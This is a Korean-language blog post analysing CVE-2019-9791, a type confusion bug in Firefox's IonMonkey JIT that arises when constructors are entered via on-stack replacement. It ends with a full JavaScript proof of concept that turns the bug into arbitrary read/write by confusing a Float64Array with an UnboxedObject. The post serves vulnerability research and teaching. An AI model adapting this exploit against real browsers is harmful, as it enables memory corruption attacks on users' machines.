Home CVE-2019-9791 Analysis
Post
Cancel

CVE-2019-9791 Analysis

CVE-2019-9791 Firefox IonMonkey Type confusion vulnerability analysis

Index

CVE-2019-9791

Issue 1791: Spidermonkey: IonMonkey’s type inference is incorrect for constructors entered via OSR - credit to saelo

Translated to KOR(may include some typo/mis-translations)

해당 버그는 JIT 컴파일과 On-stack replacement(OSR)을 통한 생성자 함수 진입 시 임의의 두 객체 사이의 type confusion을 일으킬 수 있는 함수의 컴파일을 허용합니다.

Prerequisites knowledge

  1. SpiderMonkey는 “plain” 객체를 NativeObjectUnboxedObject로 표현할 수 있습니다. NativeObject는 기본적으로 Inline/Out-of-line properties와 Elements를 표현하기 위한 두개의 포인터, Group과 Shape를 가지고 있습니다. 반면에 UnboxedObject는 속성들(properties)을 unboxed form(예를 들어, 32bit 정수 혹은 8bit Boolean까지)으로 저장할 수 있습니다. UnboxedObject는 언제든지 NativeObject로 변환될 수 있습니다(속성들을 boxing하고, NativeObject의 Out-of-line props에 할당함으로써) 변환은 속성 할당시 새 값의 타입이 기존 속성의 타입과 일치하지 않는 경우에 발생하며, 변환 함수는 여기서 확인할 수 있습니다.

  2. SpiderMonkey는 타입 추론을 위해 가능한 타입의 오브젝트 속성을 추적할 수 있습니다. (참고) 예를 들어, 아래 코드를 실행하면 SpiderMonkey가 속성 .x가 항상 Uint8Array로 이루어진다는 것을 알고, JIT 컴파일된 코드의 타입 체크를 생략하게 됩니다.(해당 코드 이후에 속성 .x에 다른 타입의 값을 할당하는 코드가 실행되지 않았다고 가정합니다.)

    1
    2
    
     var o = {};
     o.x = new Uint8Array(0x1000);
    

    해당 속성(.x)에 다른 타입의 값을 할당하면, 추론된 타입을 무효화하고 해당 추론에 의존하는 JIT 코드를 무효화시킬 것입니다.

  3. SpiderMonkey의 생성자는 초기화가 완료된 후 생성된 객체의 타입을 나타내는 “템플릿” 타입(Group 또는 Shape)을 가질 수 있습니다. 해당 생성자의 호출자는 해당 템플릿 타입의 객체를 할당(js::CreateThisForFunction 함수를 통해)하여 생성자에 인자로 념겨줘야 하는 의무가 있습니다. 따라서, JIT 컴파일 된 생성자 코드는 템플릿 타입의 객체를 넘겨받는 것에 의존적일 수 있으며, and can use that to emit code for property stores to existing properties instead of code for property definitions (which in addition to writing the property value also have to update the Shape of the object). (아무리 읽어도 독해가 안되어 원문으로 남겨놓습니다)

    예를 들어, 다음과 같은 생성자 함수를 가정해봅시다.

    1
    2
    3
    4
    
     function Ctor() {
         this.a = 42;
         this.b = 43;
     }
    

    몇차례 호출 후, 타입 추론 시스템(Type inference system)은 생성된 객체의 최종 타입을 계산합니다. 이 경우, 해당 객체는 .a.b라는 두개의 정수 속성을 가진 UnboxedObject일 수 있습니다. 이후 IonMonkey가 해당 생성자에 대한 JIT 컴파일을 시작할 것이고, 호출자가 항상 템플릿 타입이 존재하는 객체를 전달해 준다는 사실에 의존함으로써 IonMonkey는 단순하게 기존 속성 슬롯(property slots)에 두 값을 저장하는 코드를 생성할수도 있습니다. 이 최적화는 생성된 객체가 최종적인 속성 정의 전에 로컬 범위를 벗어나지 않는다는 것을 SpiderMonkey가 증명할 수 있는 경우에만 가능합니다.(따라서 코드에 실제 정의되기 전, 실행중인 스크립트에서 속성의 존재는 확인할 수 없습니다.) 생성자의 최종 타입은 여기서 계산됩니다.

Bug Description

아래 코드를 현재 릴리즈 되어 있는 SpiderMonkey에서 실행시 잘못된 동작을 확인 가능합니다.: 이 코드는 분명 존재해야 하는 속성인 .x 를 출력해주지 않습니다. 이 코드를 약간 변경하면, .x를 선언하는 부분에서 Nullderef 크래시가 발생하게 됩니다.(원본 샘플이 퍼징 중 이 방식으로 발견되었습니다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function Hax(val, l) {
    this.a = val;

    for (let i = 0; i < l; i++) {}

    this.x = 42;
}

for (let i = 0; i < 1000; i++) {
    new Hax(1337, 1);
}
let obj = new Hax("asdf", 100000);
console.log(Object.getOwnPropertyNames(obj));
// prints only "a"

위 코드를 실행하면 아래와 같은 동작이 이루어집니다.

  1. 외부 루프(new Hax(1337, 1); 을 반복적으로 호출하는 루프)에서 반복적으로 호출이 이루어질 때, SpiderMonkey의 타입 추론 시스템(Type inference system)은 생성된 객체에 대한 최종 타입을 계산합니다(정수 타입의 .a.x 속성을 가지고 있는 UnboxedObject로) 이후 생성자가 IonMonkey에 의해 JIT 컴파일되기 시작하는데, 이 때 타입 추론을 사용하여 속성을 정의해서 속성을 저장하는 것이 아닌, 존재하던 속성에 속성을 저장하는 코드를 생성합니다.

  2. 마지막 호출(let obj = new Hax("asdf", 100000);)이 이루어질 때, JIT 코드는 .a 속성을 설정하기 위한 시도를 하게 됩니다. 그러나, 인자로 넘겨진 값이 잘못된 타입(정수 타입이 아닌 문자열 타입이 넘겨짐)이므로 아래와 같은 행위를 일으킵니다.
    • |this| 객체가 .a, .x 속성을 가지고 있는 NativeObject로 변환됩니다.(기존 UnboxedObject -> NativeObject)
    • Hax 함수의 반환 타입이 .a, .x 속성을 가지고 있는 NativeObject로 변경됩니다.(생성자에 대한 타입 추론은 여전히 .a, .x 속성이 존재함을 증명할 수 있습니다.)
    • 이후 |this| 객체는 bytecode에서 이 위치에 있어야 하는 타입으로 ‘롤백’ 됩니다. (원문으로 보는 것을 추천)

      이후 |this| 의 Shape는 속성 .a의 존재만을 나타내게 됩니다.(코드의 현재 위치에 맞는 타입으로)

      아마 이 동작은 생성된 객체가 코드에 정의되기 전, 이미 최종 속성의 집합을 가지고 있음이 갑작스럽게 확인되는 상황을 피하기 위해 수행되는 것 같습니다.(초기 분석이 생성자에서 호출된 일부의 함수 혹은 메소드가 항상 특정된, 알려진 함수이고 인라인 되었다는 가정에 의존하는 경우 발생합니다.)

    • 타입 추정이 변경되었기 때문에, JIT 코드는 최적화가 해제되어 baseline JIT으로 실행이 계속됩니다.
  3. 그 다음 루프에서 IonMonkey가 다시 Hax 함수의 컴파일을 시작하고, 함수의 중간 부분(루프의 시작 부분)의 on-stack replacement(OSR)을 통해 JIT 컴파일 된 코드로 들어갑니다. 컴파일 중, IonMonkey는 또다시 Hax의 템플릿 타입에 의존하게 되고 |this| 객체가 .a, .x 속성을 가진 NativeObject일 것이라고 결론을 내리게 됩니다. 이 행동은 2-3에서 .x 속성이 롤백으로 인해 사라졌으므로 잘못된 행동입니다.

  4. 루프가 끝난 후, JIT 코드는 객체에 이미 최종 Shape가 존재한다고 믿고 있기 때문에 속성의 저장만을 수행하게 됩니다. 따라서 .x 속성의 저장은 ‘잊혀지게’ 되고, Object.getOwnPropertyNames();의 결과값은 .a 속성의 존재만을 보여주게 됩니다.

Exploitation

OSR 이후 JIT 컴파일 된 코드는 |this| 객체가 이미 최종 타입을 가지고 있는 것으로 생각하여 Shape를 갱신하지 하지 않고 속성 값을 저장하기만 합니다. 결과적으로 .x 속성은 보이지 않게 되고 이후 생성된 객체에 정의된 다음 속성은 .x가 JIT 컴파일 된 코드에 작성된 것과 동일한 슬롯이 할당됩니다. 이것을 이용하여 속성에 대한 타입 추론 메커니즘을 남용(abuse)하는 아래의 공격이 가능해집니다.

JIT 컴파일 된 코드에서 루프 이후:

  1. 위에서 봤던 내용과 동일하게 .x 속성을 |this| 객체에 정의합니다. 컴파일러는 .x의 타입을 ‘타입 X’로 추론할 것입니다. 그러면 이 속성은 버그로 인해 최종 호출에서 “잊혀질” 것입니다.
  2. 객체에 대한 새로운 속성(‘타입 Y’인) 정의합니다. 그러면 해당 속성은 .x와 동일한 슬롯에 저장되게 됩니다.(객체의 Shape는 해당 슬롯이 비어있다고 생각하기 때문입니다.) 이 과정은 타입 유츄에 의존하지 않으며 객체의 Shape를 검사하고 비어있는 다음 슬롯을 결정하는 “Slow path” 속성 정의여야 합니다.
  3. .x 속성을 다시 불러옵니다. 컴파일러는 불러온 값의 타입을 ‘타입 X’로 추론하지만, 실제 불러온 객체의 타입은 ‘타입 Y’입니다.

결과적으로 ‘타입 X’ 객체와 ‘타입 Y’ 객체를 혼란시킬 수 있는 JIT 코드를 컴파일 할 수 있습니다. 여기서 X와 Y는 임의로 선택될 수 있습니다.

다음 JavaScript 프로그램(로컬 SpiderMonkey와 Firefox 65.0.1 버전에서 테스트함)은 위에서 설명한 아이디어를 증명합니다. 먼저 Float64Array와 사용자가 정의한 UnboxedObject 사이의 Type Confusion을 발생시켜 임의 주소 읽기/쓰기를 가능하게 하고, 최종적으로 0x414141414141 주소에 값을 쓰다가 크래시를 일으킵니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
let ab = new ArrayBuffer(0x1000);
let victim = new Uint8Array(0x1000);

function Hax(val, l, trigger) {
    // In the final invocation:

    // Ultimately confuse these two objects which each other.
    // x will (eventually) be an UnboxedObject, looking a bit like an ArrayBufferView object... :)
    let x = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: []};
    // y is a real ArrayBufferView object.
    let y = new Float64Array(0x1000);

    // * Trigger a conversion of |this| to a NativeObject.
    // * Update Hax's template type to NativeObject with .a and .x (and potentially .y)
    // * Trigger the "roll back" of |this| to a NativeObject with only property .a
    // * Bailout of the JITed code due to type inference changes
    this.a = val;

    // Trigger JIT compilation and OSR entry here. During compilation, IonMonkey will
    // incorrectly assume that |this| already has the final type (so already has property .x)
    for (let i = 0; i < l; i++) {}

    // The JITed code will now only have a property store here and won't update the Shape.
    this.x = x;

    if (trigger) {
        // This property definition is conditional (and rarely used) so that an inline cache
        // will be emitted for it, which will inspect the Shape of |this|. As such, .y will
        // be put into the same slot as .x, as the Shape of |this| only shows property .a.
        this.y = y;

        // At this point, .x and .y overlap, and the JITed code below believes that the slot
        // for .x still stores the UnboxedObject while in reality it now stores a Float64Array.
    }

    // This assignment will then corrupt the data pointer of the Float64Array to point to |victim|.
    this.x.data = victim;
}

for (let i = 0; i < 1000; i++) {
    new Hax(1337, 1, false);
}
let obj = new Hax("asdf", 10000000, true);

// Driver is now a Float64Array whose data pointer points to a Uint8Array.
let driver = obj.y;

// Write to address 0x414141414141 as PoC
driver[7] = 3.54484805889626e-310;
victim[0] = 42;
This post is licensed under CC BY 4.0 by the author.